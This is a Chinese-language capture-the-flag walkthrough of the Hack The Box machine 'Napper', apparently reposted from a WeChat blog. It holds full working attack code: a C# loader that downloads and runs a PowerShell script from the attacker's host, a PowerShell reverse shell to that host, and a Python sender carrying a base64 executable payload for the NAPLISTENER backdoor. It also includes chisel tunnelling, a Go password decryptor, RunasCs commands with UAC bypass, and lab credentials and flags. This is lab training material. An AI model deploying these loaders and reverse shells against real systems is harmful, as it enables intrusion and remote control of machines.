扫描靶机
nmap -sC -sV -T5 -Pn 10.10.11.240
扫描出两个端口,还有个app.napper.htb的域名,也许还有其他域名,进行fuzz
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://napper.htb" -H "Host: FUZZ.napper.htb" --hl 186
fuzz出一个internal的字域名,将其加入到hosts,先看app.napper.htb
简单的浏览一下,这个一个关于安全的研究网站,在Enabling Basic Authentication on IIS Using PowerShell: A Step-by-Step Guide的选项里,有一条关于新建密码的PS命令
这是重点,然后打开internal.napper.htb这个域名
可以看到是需要登陆,使用刚刚那条命令里面的默认密码跟用户名登陆
成功登陆进去了,进去INTERNAL Malware research notes选项,下面有三条连接
https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener
https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep
点击这三条链接,都是对NAPLISTENER的研究资料,包括如何运行,在这blog下面有一句话是
This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.
根据他的意思是猜测,应该是测试net程序的,所以可以将他打包成exe,然后以base64的形式发送,回到刚刚的靶机提供的链接,就已经提示给你了
根据连接的提示,在app.napper.htb抓包,然后修改包成POST请求,然后路径修改成/ews/MsExgHealthCheckd/,下面添加sdafwe3rwe23参数
然后根据上面的逆向代码分析,就是一个if逻辑,上传,然后base64解码加运行,所以我们写一个cs程序,然后打包成exe,再编码base64,上传
shell.cs
using System;
using System.Diagnostics;
using System.Net;
namespace shell // <-- name file shell.cs
{
public class Run
{
public Run()
{
var scriptUrl = "http://10.10.14.39/cxk.ps1";
using (WebClient webClient = new WebClient())
{
// Download the PowerShell script from the URL
string scriptContent = webClient.DownloadString(scriptUrl);
var processStartInfo = new ProcessStartInfo("powershell.exe")
{
// Pass the downloaded script content as a command
Arguments = scriptContent,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
var process = new Process
{
StartInfo = processStartInfo
};
process.Start();
}
}
public static void Main(string[] args)
{
}
}
}
cxk.ps1
do {
# Delay before establishing network connection, and between retries
Start-Sleep -Seconds 1
# Connect to C2
try{
$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.39', 443)
} catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
# Writes a string to C2
function WriteToStream ($String) {
# Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2
$StreamWriter.Write($String + 'caixukun> ')
$StreamWriter.Flush()
}
# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
# Encode command, remove last byte/newline
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
# Execute command and save output (including errors thrown)
$Output = try {
Invoke-Expression $Command 2>&1 | Out-String
} catch {
$_ | Out-String
}
# Write output to C2
WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()
首先使用mcs打包,可以参考这篇文章,使用mono,
https://blog.didierstevens.com/2017/09/06/compiling-a-windows-service-with-mono-on-kali/
mcs -reference:System.ServiceProcess.dll shell.cs
生成出来的exe,然后使用base64编码exe
base64 shell.exe
其次它是编码exe的代码,不是名字本身,更换的重新生成exe,然后将其复制到burpsuite,然后发射
成功反弹shell,拿到user flag:
98fbb05456fd1c8eaae38a9f07359835
或者可以写一个python脚本,一键发送
rev.py
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
payload="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JAACAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAAAgAAAAKAACAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAgNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
hosts =["napper.htb"]
form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"
for h in hosts:
url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"
try:
r_ssl=requests.post(url_ssl,data=form_field,verify=False)
print(f"{url_ssl} : {r_ssl.status_code}{r_ssl.headers}")
except KeyboardInterrupt:
exit()
except Exception as e:
print(e)
pass
拿到shell后,反弹一个msfconsole的会话,上传下载都方便
进入C:Program Files发现了elasticsearch-8.8.0
进去到C:Program Fileselasticsearch-8.8.0dataindicesn5Gtg7mtSVOUFiVHo9w-Nw index这个路径发现两个cfs文件,type命令打开并使用findster
type _o2.cfs | findstr pass
那些名字都是随机性的,成功拿到密码是oKHzjZw0EGcRxT2cux5K,用户名是elastic
继续搜寻,在C:Tempwwwinternalcontentposts里面有两个md文件,读取一下
C:Tempwwwinternalcontentposts>type first-re-research.md
type first-re-research.md
---
title: "**INTERNAL** Malware research notes"
description: A collection of notes for the current research we might publish.
date: 2023-04-22
draft: false
tags: [re, .NET, malware]
---
# Introduction
| Meta | Data|
| --- | --- |
| Analyst | Ruben |
| Status | Initial analysis |
| Initial find | External Report |
The malware is a .NET sample. We are tracking the malware fond by Elastic who named it NAPLISTENER.
# What we know so far:
So it is a backdoor:
```txt
[...] HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. [...]
```
In the sanbox I can't find the URL.
```txt
This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.
````
Currently we are not sure on how to proceed.
# Log
* 2023-04-24: Did some more reading up. We need to look for some URL and a special parameter
* 2023-04-23: Starting the RE process. Not sure on how to approach.
* 2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local
* 2023-04-22: Got the copy of the backdoor, running in sandbox
# Refrences
* https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
* https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener
* https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep
C:Tempwwwinternalcontentposts>
C:Tempwwwinternalcontentposts>type no-more-laps.md
type no-more-laps.md
---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
We are getting rid of LAPS in favor of our own custom solution.
The password for the `backup` user will be stored in the local Elastic DB.
IT will deploy the decryption client to the admin desktops once it it ready.
We do expect the development to be ready soon. The Malware RE team will be the first test group.
C:Tempwwwinternalcontentposts>
从上面往下看,可以看到自己的laps,猜测是用Elastic运维,并且在internal-laps-alpha看到两个文件,一个exe一个.env
打开.env的内容,有个9200端口
先将a.exe文件下载到本地,这次使用了msfconsole
出现这种情况就更改断线时间就行
先将刚刚env看到的端口转发出来,使用chisel
chisel server --reverse --port 1118
.chisel client 10.10.14.39:1118 R:9200:127.0.0.1:9200
成功代理,然后打开浏览器,访问本地9200端口
输入刚刚在cfs拿到的用户跟密码
可以参考这篇文章,可以看到seed跟user-00001
https://book.hacktricks.xyz/network-services-pentesting/9200-pentesting-elasticsearch
然后检查这两个的索引
先记下,然后逆向一下刚刚下载的a.exe,用ghraid
分析代码,是seed和加密的blob参数在ES中,调用了cmd.exe程序使用net命令修改backup用户密码
往下拉有个genkey的函数,跟main.main上面的内容关联,以seed参数作参照,key的生成数量随机+1
底下有个main.encrypt,这是加密参数,对AES,用的base64
结合上面的分析,需要对应ES的数据,也就是seed跟user-00001的base64,将其解密,得到backup用户最新密码,而且他是随机性的,写个go程序破解
go run cxk.go 55645459 nSbi9PAYJr9WSAxuQe5sq3jm8odJFQd_cb6ZCeYWEFj5PVUHCY2PWbIxctw8oaUCX8SfHNM0q-w=
然后上传RunasCs.exe,进行uac绕过,反弹,记得动作要快,seed跟blob是会变化的
.RunasCs.exe backup BozRKbVkeMiNkNnotJWywpSNgwMEgHMoJkHacYns cmd.exe -r 10.10.14.39:443 --bypass-uac
成功拿到root flag:d1c799957c042948be3b3974a98c5c2b,backup用户跟admin是同一组
cxk.go
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"log"
"math/rand"
"os"
"strconv"
)
func checkErr(err error) {
if err != nil {
log.Fatal(err)
}
}
func genKey(seed int) (key []byte) {
rand.Seed(int64(seed))
for i := 0; i < 0x10; i++ {
val := rand.Intn(0xfe)
key = append(key, byte(val+1))
}
return
}
func decrypt(seed int, enc []byte) (data []byte) {
fmt.Printf("Seed: %vn", seed)
key := genKey(seed)
fmt.Printf("Key: %vn", key)
iv := enc[:aes.BlockSize]
fmt.Printf("IV: %vn", iv)
data = enc[aes.BlockSize:]
block, err := aes.NewCipher(key)
checkErr(err)
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(data, data)
fmt.Printf("Plaintext: %sn", data)
return
}
func main() {
if len(os.Args) != 3 {
return
}
seed, err := strconv.Atoi(os.Args[1])
checkErr(err)
enc, err := base64.URLEncoding.DecodeString(os.Args[2])
checkErr(err)
decrypt(seed, enc)
}
getshell之前可以查看backup用户
.RunasCs.exe backup dsIUMSAlEkjJDYXKeGHEfBwXeYieezlpgodWZKti "cmd /c whoami /all"
原文始发于微信公众号(Jiyou too beautiful):HTB-Napper笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论